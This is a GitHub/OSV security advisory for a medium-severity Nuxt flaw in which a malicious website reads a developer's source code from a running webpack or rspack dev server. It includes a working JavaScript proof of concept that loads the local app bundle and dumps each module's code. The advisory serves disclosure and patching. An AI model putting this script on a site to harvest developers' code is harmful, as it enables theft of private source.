GHSA-4gf7-ff8x-hq99

Suggest an improvement
Source
https://github.com/advisories/GHSA-4gf7-ff8x-hq99
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-4gf7-ff8x-hq99/GHSA-4gf7-ff8x-hq99.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-4gf7-ff8x-hq99
Aliases
Published
2025-01-27T11:31:41Z
Modified
2025-01-30T03:05:05Z
Severity
  • 5.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N CVSS Calculator
Summary
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Details

Summary

Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
    const script = document.createElement('script')
    script.src = 'http://localhost:3000/_nuxt/app.js'
    script.addEventListener('load', () => {
      for (const page in window.webpackChunknuxt_app) {
        const moduleList = window.webpackChunknuxt_app[page][1]
        console.log(moduleList)
    
        for (const key in moduleList) {
          const p = document.createElement('p')
          const title = document.createElement('strong')
          title.textContent = key
          const code = document.createElement('code')
          code.textContent = moduleList[key].toString()
          p.append(title, ':', document.createElement('br'), code)
          document.body.appendChild(p)
        }
      }
    })
    document.head.appendChild(script)
    

image It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites.

Database specific
{
    "nvd_published_at": "2025-01-25T01:15:24Z",
    "cwe_ids": [
        "CWE-749"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-27T11:31:41Z"
}
References

Affected packages

npm / @nuxt/webpack-builder

Package

Name
@nuxt/webpack-builder
View open source insights on deps.dev
Purl
pkg:npm/%40nuxt/webpack-builder

Affected ranges

Type
SEMVER
Events
Introduced
3.0.0
Fixed
3.15.3

npm / @nuxt/rspack-builder

Package

Name
@nuxt/rspack-builder
View open source insights on deps.dev
Purl
pkg:npm/%40nuxt/rspack-builder

Affected ranges

Type
SEMVER
Events
Introduced
3.12.2
Fixed
3.15.3